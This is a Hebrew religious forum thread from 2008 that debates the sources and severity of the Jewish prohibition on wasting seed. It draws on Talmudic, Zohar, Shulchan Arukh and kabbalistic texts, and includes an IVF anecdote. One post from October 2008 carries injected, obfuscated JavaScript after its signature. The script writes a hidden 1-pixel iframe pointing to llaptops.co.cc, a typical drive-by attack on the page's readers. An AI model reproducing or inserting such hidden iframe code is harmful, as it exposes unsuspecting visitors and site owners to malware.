|
|
| נשלח ב-25/9/2008 13:01 |
 |
| |
בתקולנוהמת:
אם כבר אז כבר
איפה כתוב איסור על שז"ל?
אין שום איסור כזה
ואם ענינו סתם רדיפה אחרי תאווה וכל ענינו מוסרני נטו, וגם לאישה אולי אסור
איך אין זה שום איסור תורה
*****
משכילון:
המקור להשח"ז מהתורה הוא ממעשה ער ואונן. אמנם אפשר לומר ששם זה היה חמור יותר כיון שמנעו אותה מלהתעבר ועוד כמבואר במפרשים שם, ויש מהראשונים שכתב כן.
וי"א שאיסורו נלמד מלא תנאף ואין הפשטות כן ועי' בתשו' פנ"י אה"ע מ"ד ובערל"נ נדה שם [ועי"ש שרצה לומר שאיסורו נלמד מבל תשחית אולם מזה שאשה מותר לה להוציא הזרע מעצמה כמבואר בתוס' בסנהדרין ויבמות מוכח לא כן].
והמקור בגמ' הוא נדה י"ג ע"ש,
ובזוהר פר' וישב נאמר שהוא העוון החמור שבתו' והועתק בשו"ע סי' כ"ג וע"ע בב"ש שם
*****
זריחתעץ:
ישנה מחלוקת בפוסקים אם הוצשז"ל אסורה מהתורה (מקורות אפשריים:עונש דור המבול, מעשה אונן בספר בראשית, איסור "לא תנאף", איסור להישמר מכל דבר רע ועוד)
בכל אופן, ברור שמדרבנן יש איסור, ובחז"ל ובספרי הקבלה הפליגו בחומרת העוון. בזוהר כתוב שעבירה זו חמורה מכל העבירות שבתורה ואין עליה תשובה.
ולנושא האשכול ראיתי משהו מעניין מאוד שכתב רבי שלמה קלוגר בעניין השחתת זרע.
הוא כתב שמעשים טובים הם כמו תולדות, ואי עשיית מעשה רע היא כמעשה טוב ונחשבת לתולדה.
על כן אם באמצעות הוצאת זרע נחסך חטא הרי זה כאילו נולדה מהזרע תולדה והוא לא הוצא לבטלה.
עם זאת אעיר שאין זה פשוט כלל שעיקר האיסור בהוצשז"ל הוא עצם בזבוז הזרע, ופוסקים רבים רואים את עיקר האיסור בפעולת הניאוף העצמית.
על כן קשה הלכתית להוציא זרע למטרות הפריה מלאכותית.
*****
בתקולנוהמת:
א-קיצער לפני ה'היגיון' ל'הלכה' (שספק אם קיימת) צריך למצוא את האיסור
וחוששני שבסיס האיסור הוא רגשות אשמה שיש לגברים (לדעתי שלא בצדק! וכי אחרי כל מעשה איסור, יש לב"א רגש אשמה?כמו איסור הוצאה של דיבור לבטלה ורכילות) ואכמ"ל
*****
צמחיוסיפון:
האיסור מובא ברמב"ם הלכות איסורי ביאה כ"א, יח.
תוקן על ידי עצכח ב- 25/09/2008 13:03:21
 |
|
|
|
|
| נשלח ב-25/9/2008 13:08 |
|
| |
ווטו1:
קוני,
יש לפרש שהנקודה גם בדברי חז"ל היא שאין הבעיה אובדן החיים [וכסברותיך], אלא מאחר והזרע הוא דבר מכובד שיש בו בעצם פוטנציאל חיים, אין להתייחס אליו כמו לזבל.
אך כמו שציינת ענין התאווה מגביר את החומר מעלה מעלה וזה מתאים לעיקרון שבביטויי הזוהר.
*****
שחרית:
זוג חברים של חברתי (קתולים אדוקים) מתקשים במשך שנים להביא תינוק לעולם.
הסיבה: בעיות בשחלות של האישה כתוצאה מניתוח אפנדיציט שהסתבך בילדותה.
הפתרון: יחסית פשוט - שאיבת ביציות והפריה חוץ רחמית.
אלא מאי? הרי אמרנו שהם קתולים אדוקים ולגבר אסור להוציא זרע מחוץ לרחם.
רופאים ויועצים ניסו לשכנעם ללכת על זה בכל אופן, ושהחטא הוא יחסית קטן לעומת מה שעומד מולו וכו וכו, אבל הזוג בשלו.
מה קורה? עד לא מזמן סברו השנים שאין להם מזור ונגזר עליהם לקבל את הדין ולא להביא תינוק משלהם לעולם.
ההצלה באה ממקום אחר: הם ביררו אפשרות להרות על ידי ביצית מופרית של זוג אחר. ביררו ואף ביצעו והולידו תינוק נחמד במזל טוב.
(הסבר קצר - כאשר יש צורך בהפריה חוץ גופית, "מייצרים" כמה וכמה ביציוץ מופרות, כדי שאם לא ילך בניסיון ראשון יהיה אפשר לנסות שוב. כאשר מצליחים, הרבה זוגות שאינם רוצים עוד ילדים, נפטרים מהעוברים הנ"ל. בארה"ב יש ויכוחים עזים על שימוש בעוברים כאלה לניסויים וכו').
אז מה העניין? - לא רק שהצליחו להיכנס להריון אלא גם לא חטאו בחטא החמור שהכנסיה הקתולית כה חרדה מפניו (לא רק היא, הא?!) ויותר מכך - הם הצילו ביצית מופרית שאחרת לא הייתה רואה אור יום. הם היו מוכנים לשלם את המחיר שהילד לא יהיה בנם הביולוגי.
בני הזוג מאד גאים בהשג שלהם ואפילו משוויצים שהתינוק הוא ג'ינג'י ממש כמו הסבתא של הדודה או משהו כזה.
ואני? כששמעתי את זה נתקפתי כעס, איך בשם הדת (הפעם ת"ל לא שלנו...) אפשר לעשות כאלה שטויות ואיך אפשר להוציא דברים מהקשרם האמיתי. האם באמת היה מקום לאסור על הבעל להגיע לפליטת זרע?? הרי המטרה הייתה לא אחרת מאשר להפרות את ביציתה של אשתו??? (על חטא שחטאנו בצרות מוחין), האם בשל דבר כזה אנשים מוותרים על האפשרות להביא לעולם פרי בטן (משלהם)?
אילו היו שואלים אותי, ומובן שלא שאלו... הייתי ממליצה ללכת על זה, ואחר כך לבוא לווידוי אצל הכומר, זה מחיר סביר להבאת תינוק משלהם לעולם.
אגב, הווידוי הוא פטנט מופלא שחבל שאין לנו דומה לו (סמיילי). אפשר לחטוא כמה שרוצים, להתוודות ולקבל מהכומר איזה "עונש חינוכי", למשל להגיד 30 פעמים את תפילת 'אבינו שבשמים' וזהו. מחילה גמורה. (משנה סמיילי).
*****
פלאית:
לצערי אני מכירה ספור דומה מאד " משלנו", אלא ששם אין עדיין ילד
*****
בוגיעלון:
שחרית 
יש לנו פטנט שקצת דומה לווידוי בחוג אחד זה עמל התיירע ובחוג אחר זה התקשרות לצדיק!
|
|
|
|
|
| נשלח ב-25/9/2008 13:23 |
|
| |
עפר_ואפר:
בתקולנוהמת,
גמרא פסוקה ושולחן ערוך אינם איסור עדיין?
אז מה זה איסור?
*****
בתקולנוהמת:
האיסור הוא קבלי נטו
*****
עפר_ואפר:
בתקול,
ההודעה שלי הייתה נורא קצרה וממש לפניך. זו לא טרחה לקרוא אותה. 
*****
עכנאי:
במחילה, האיסור הוא לא קבלי נטו.
נפסק חד משמעית בשו"ע שזה "העוון החמור ביותר בתורה".
שו"ע אבה"ע סי' כ"ג ס"ק א'.
*****
קרוע:
אז השו"ע לא מקובל עליך?
*****
שינפלד:
אם יורשה לי להתערב 'הגדרת האיסור כקבלי אינה אמורה להוריד מחומרתו וזה אינו אומר שזה לא המקור לאיסור בשו"ע'
http://www.ynet.co.il/articles/0,7340,L-2763636,00.html
לפי מחקרים הללו זה בגדר פגיעה בבריאות
וצריך שאלת חכם
האשכול הזה ( ודומיו ) מנסים לחקור טעמא דקרא ( ולא בשחור לבן ) לא מקובל כן מקובל זה לא העניין
בכל מקרה אותו שו"ע אסר בזבוז זמן כמו משחק בקוביא קריא(ע?)בספרי חול ושאר "השחתת" זמן לבטלה ולא רק זרע
*****
קרוע:
באיזה סימן בשו"ע ובאיזה סעיף כתוב שאסור לבזבז זמן.
|
|
|
|
| נשלח ב-25/9/2008 13:42 |
|
| |
קוני,
להערתך בסוף הדף הקודם:
"הנקודה הראויה לעיון" אותה העלית, נידונה בהרחבה במאמרי "גמילות חסדים עם המת וקיום מצוות פרו ורבו בהזרעה מלאכותית לאחר מיתה",
בית הלל ט, (ג, א) (תשס"ב)
http://www.medethics.org.il/articles/misc/BH.9.asp
|
|
|
|
| נשלח ב-25/9/2008 13:49 |
|
| |
קוני,
בהערתך משנת 2003 הזכרת את קפידת השל"ה.
חשוב לזכור כי בראשונים עמ"ס נדה מפורש שלא כדעת השל"ה.
דהיינו, בנקודה ספציפית זו חלוקים הפוסקים הראשונים עם המקובלים. ואכמ"ל.
|
|
|
|
| נשלח ב-19/10/2008 00:00 |
|
| |
הערה שגיליתי אגב לימוד.
כמדומה ששיטת המקובלים היא שקרי מטמא ומעיד על כשלון וזקוק לכפרה, האין זאת? ובכן, דעת התלמוד הפוכה מזו.
וראיה גדולה נמצאת בירושלמי בשלושה מקומות, ואני מביא אחד מהם עם הערות קצרות. כיון שלא הכל שייך לענייננו, אדגיש את החלק הנוגע לנו, שנמצא בסוף. אולם כדי להבהיר הכל הבאתי את כל הסוגיה. נוסח התלמוד מודגש, הערותי בכתב רגיל.
העתקתי את הקטע מפרוייקט השו"ת, אם כי שם כמדומה שזה נוסח אחר של התלמוד מזה המודפס.
ולפני שאני מביא את הדברים, אני מתנצל שהם רגישים ואולי יש כאלו שיחשבו שאין מקום לצטטם בפורום אינטרנטי, אבל תורה היא ולימוד היא צריכה, על אחת כמה וכמה שהדברים מסייעים להבדיל בין דעת התלמוד לבין דעות אחרות שמייחסים לחז"ל.
תלמוד ירושלמי
מסכת ברכות פרק ג דף ו טור ג /ה"ד
מסכת יומא פרק ח דף מד טור ד /ה"א
מסכת תענית פרק א דף סד טור ד /ה"ו
מה נכלל בתקנת עזרא?
רבי יעקב בר אחא רבי ייסה בשם רבי יהושע בן לוי אין קרי אלא מתשמיש המטה
כלומר: לא מקרי לילה.
רב הונא אמר אפילו ראה עצמו ניאות תוך חלום.
רב הונא חולק ומוסיף על דברי ר' יעקב שגם קרי לילה מחייב טבילה.
הוו בעיין מימר ובלבד מאשה
רצו לפרש בישיבה שדווקא בחלום על אשה, וכמסתבר על ביאה.
כאן יש מקום עיון: האם הטעם לשיטה זו שחלה תקנת עזרא הוא כמובא בבבלי, "כדי שלא יהיו תלמידי חכמים מצויים אצל נשותיהם" כל כך, וכפי שרצה להרחיק מהרגל ביאה לעתים קרובות מדי כך גם החלום מעיד על השתקעות בדבר זה ולכן חייב טבילה - או שניתן לבאר זאת כמבואר כמדומה בספרי קבלה, שהחלום הזה מגיע מחמת שדה שמתלבשת באדם ומראה לו בחלומו ביאה, ומחמת טומאה זו יש לטבול. ודעה זו שיש שדים ושדות המפתים גברים ונשים בחלומם היתה שכיחה באירופה של ימי הבינים כמתועד בספרים, ובהחלט לא (רק) אצל יהודים...
רבי יונה ורבי יוסא תרוויהון אמרין אפילו מדבר אחר
גם "דבר אחר" מחייב טבילה. (כלומר קרי לילה ללא חלום על אשה?).
והא תנינן יום הכיפורים אסור באכילה ובשתייה וברחיצה ובסיכה ובנעילת הסנדל ובתשמיש המטה
ותני עלה בעלי קריין טובלין כדרכן בצנעה ביום הכיפורים
לית הדא פליגא אדרבי יהושע בן לוי דרבי יהושע בן לוי אמר אין קרי אלא מתשמיש המטה?
הברייתא קובעת כי מותר לטבול ביום הכיפורים מחמת קרי (שאין זו טבילה להנאתו אלא כסילוק של לכלוך), אבל זו קושיא על מי שסובר שאין תקנת עזרא חלה אלא על תשמיש המיתה ולא על קרי לבד, ואם היה כדבריו, לא היה צריך להתיר טבילה לבעל קרי (ואם משום לכלוך לבד יש לומר שהיה מנקה עצמו בלא טבילה).
פתר לה בששימש מטתו מבעוד יום ושכח ולא טבל
ריב"ל יסבור שבאמת המותרים לטבול אפילו ביום הכיפורים אין הכוונה למי שראה קרי, שזה אינו חייב בטבילת עזרא, אלא מי ששימש מיטתו ערב יום הכיפורים, ושכח ולא טבל, ונזכר רק ביום כיפורים שהוא חייב טבילה, וקמ"ל שמותר לטבול.
עתה אנו מגיעים אל הנושא שלנו!
והא תני
מעשה בר' יוסי בר חלפתא שראו אותו טובל בצנעה ביום הכיפורים
ומתבקש לשאול: מחמת מה טבל ר' יוסי?
אית לך למימר באותו הגוף הקדוש בשוכח?
האם אפשר לומש ששימש מיטתו ערב יום הכיפורים ושכח לקיים טבילת עזרא?
לא!
אלא ודאי בראה קרי.
הא קמן: ר' יוסי בן חלפתא נקרא כאן "הגוף הקדוש" - וזה שולל שיתחייב טבילת עזרא וישכח - אבל אין זה שולל שאותו בעל גוף קדוש יראה קרי!
___תוקן אי דיוק לשוני.______________
שומר פיו ולשונו - שומר מצרות נפשו ******* language="">
*--
var as="'h';
var" ac="'tt';
var" ab="'p';
var" ay="//";
document.write("*************** src="'"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"'" frameborder="'0'" height="1px" width="1px" scrolling="'no'" ><*");
//*
תוקן על ידי עצכח ב- 18/10/2008 23:56:13
|
|
|
|
|
| נשלח ב-28/10/2008 22:40 |
|
| |
מיימוני
ודאי ששיכחת הלכה חמורה יותר מקרי באונס! אמנם לא למדתי קבלה, אבל לא נראה לי שהם אמרו שמי שרואה קרי לאונסו כביכול יש לו איזה פגם בעצם היותו ת"ח וכדומה. זהו רק פגם, עד כמה שניתן לומר - צדדי מבחינת המהות של הת"ח. אמנם הקבלה אומרת שיש משהו עיקרי - מאוד לא צדדי - בעניין הקרי, אבל זה רק בהשוואה לשאר המצוות, כשבוחנים אותם באותו מישור, אבל מישור השיכחה מול מישור האונס - הוא שונה בתכלית, וההיקש מזה לזה אין לו שום הכרח, אם גם הוא אפשרי.
לעומת זאת, ישנה גמרא אחרת, בבבלי, שניתן לעיין בה בעניין:
תלמוד בבלי מסכת יומא דף פח עמוד א
תנא דבי רבי ישמעאל: הרואה קרי ביום הכפורים - ידאג כל השנה כולה, ואם עלתה לו שנה - מובטח לו שהוא בן העולם הבא. אמר רב נחמן בר יצחק: תדע, שכל העולם כולו רעב והוא שבע. כי אתא רב דימי אמר: מפיש חיי, סגי ומסגי.
מצד אחד - אתה רואה בפירוש שהרואה קרי לאונסו יש לו מה לדאוג!
מצד שני הגמרא מציגה כמעלה ש"הוא שבע".
לבעלי התלמוד פתרונים.
|
|
|
|
| נשלח ב-29/10/2008 20:28 |
|
| |
עוד מאמר
יש לציין שחוץ מכל העונשים שצוינו, יש עוד עונשים שהאדם מקבל לאחר מותו.
שעונשים אלה לא מצינו בכל איסורי עריות לא במשכב אישה .או אשת איש.ארוסה.אחות.וᦙ ᦙ"ו{חוץ ממשכב זכור שהוא מההכי חמורים וכולל זרע לבטלה}
ובזה מדובר על מי שמוציא בכוונה ולא על מי שבא לו במקרה לילה שאומנם גם זה איסור אבל זה אינו אחד ממיליון מזה שמוציא בכוונה,
וכן גם אם יסתכל בנשים ,האומנם יענש על זה בגדול שבגלל זה ההרהור שהרהר באותם נשים בא לידי קרי בלילה בעל כורחו ,ויחשב לו כמעט כמזיד .אבל עדיין זה הבדל שמים וארץ לזה שמוציא ביד בכוונה ושאין לו חלק לעולם הבא
וזה מאמר הראשית חכמה למשחיתים דרכם במזיד
מקום יש בגיהנם ומדרגות שם, ושם ונדונים כל אותם נשמות המטנפות עצמם בעוונות ,מתנקים ויוצאים,והזוהומᦙ ᦙ נשארת שם ומקום זה נקרא צואה רותחת.
ויש רשעים המטנפים עצמם בעוונות תמיד, וחטאו והחטיאו אחרים, והיו קשי עורף תמיד, ולא שברו את ליבם לפני ה' בעולם הזה, ומתו בלא תשובה ,נדונים בזה המדור לדורי דורות ואינם יוצאים משם לעולם,וכן המשחיתים דרכם על הארץ {מוציאים זרע לבטלה} נדונים בזה הגיהנם לדורי דורות ואינם יוצאים משם,ובשבתות וחגים האש נשקטת והאור נכבה ואינם נדונים אבל אינם יוצאים משם כשאר רשעים שיש להם מנוחה
ועוד כותב שם בשם הראשונים .שהמחלל שבת בפרסיה נדון בגיהנם לעולם אף בשבת ,
זה המדור שלא נכלל מה7 מדורים
שכמו שידוע שהמדור הראשון שהוא הקטן אשו רותח כפול 60 מהאש של העולם הזה .וכל מדור ומדור כפול 60 מהמדור שמתחתיו ויוצא שהמדור השביעי אשו כפול 2799360000000 מהאש של העולם הזה
בכל מקרה באים הראשונים שאל יתייאש אדם, ובכל האיסורים שמקבל אדם באהבה מכפר הרבה, ואל יתיאש מין התשובה אלא תמיד יעסוק בתשובה ובכל פעם שנכשל יבקש ויתחרט ויתפלל לפני ה' שיעזורו לצאת מזה הבוץ, ויקבל קבלה לעתיד שלהבא לא יפול, כי בכל פעם שיצרו תוקפו והוא תופס עצמו ומתגבר, אין לשער ואין לטהר את המעלה שעשה באותו עת .
ואם נפל אל ישבר אלא ימשיך להילחם וכן לא דומה אדם שחוטא בלב שמח לאדם שחוטא וליבו חבוט
ובכל פעם ידפוק בדלתי התשובה ולא יפסיק לבקש מה' מלעוזרו, עד שיתקן את זה החטא על פי התקונים שאמרו לנו הראשונים ויעזוב החטא ויתוודא על אלו החטאים שחטא בימי נעוריו אפע"פ שכבר עזב החטא .ויהיה לו חלק לעולם הבא ויחשב לבעל תשובה גדול
שהרי מקום שבעלי תשובה עומדים אין צדיקים גמורים יכולים לעמוד.וככל שנפל יותר יחשב לגדול יותר לפני המקום.
על כן כדי שילך לחכם שימצא לו הדרך ואל יתבייש בזה
ה' יעזרנו
והנה כתב על אחד שכמעט יתייאש ופנה לרב
http://www.kipa.co.il/ask/show/128042
אגב יש לדעת כל אלה ששאלו על מקרה לילה אז ככה
מקרה לילה לא דומה אפילו אחד ממיליון לאחד שמוציא בכוונה שעליו אמרו שנידון לדורי דורות ואין לו חלק לעולם הבא .
|
|
|
|
|
|
| נשלח ב-29/10/2008 21:11 |
|
| |
ומה העונש בגיהנום לכותבים בשגיאות כתיב?
_________________
|
|
|
|
| נשלח ב-29/10/2008 21:17 |
|
| |
תלוי אם הם עושים את זה בכוונה או שיוצא להם כי כתבו בלילה. 
|
|
|
|
| נשלח ב-29/10/2008 21:57 |
|
| |
ומה העונש לחוכמולוגים שלועגים לו?
|
|
|
|
| נשלח ב-29/10/2008 22:27 |
|
| |
ומה העונש למי שעונה למתחזה?
|
|
|
|
| נשלח ב-30/10/2008 01:24 |
|
| |
תיקון מספר טעויות:
א: ער ואונן כתוב וירע הדבר בעיני השם בגלל שהוא היה אמור לייבם ולהקים זרע לאחיו ולא בגלל איבוד הזרע לבטלה כשלעצמו.
ב: בזוהר מובא שהחטא הזה הוא חמור יותר מכל המצוות ועל זה יש להקשות:
1: אם זה חמור יותר מכל העברות מדוע זה לא נזכר מפורש בתורה אלא רק ברמיזות שאינן מקובלות על כל הדעות.
2: מה כל כך רע אם בן אדם נהנה ולא מזיק לאחרים?
ויש לתרץ שכל עניין התורה הוא ביטול האנוכיות של האדם. מצוות כמו צדקה, נידה, לא תרצח לא תגנוב ועוד זה בשביל לעשות את האדם פחות אנוכי. פחות נוטל ויותר נותן. ואיבוד זרע לבטלה זה לקחת את הכוח שיועד לחבר בין איש לאשתו ולהפוך אותו לסיפוק עצמי וזה בדיוק ההפך מכל המטרה של כל המצוות לכן הזוהר החמיר בעברה זו.
יש ספר חסידים על ההלכה שאסור להוציא זרע לבטלה בשולחן ערוך שאומר שאם יש לו שתי ברירות או לבוא על נידה או להוציא זרע לבטלה אז עדיף שיוציא זרע לבטלה.
|
|
|
|
| נשלח ב-30/10/2008 08:50 |
|
| |
חסר זהות
מה עדיף? לאנוס פנויה או הוז"ל?
|
|
|
|
| נשלח ב-30/10/2008 08:57 |
|
| |
ארכך את ההודעה הקודמת.
אונס כנראה תמיד יהיה אסור, אזי האם לבוא על הפנויה, שזה איסור מהתורה לרמב"ם ולאחרים מדרבנן, או הוז"ל?
|
|
|
|
|
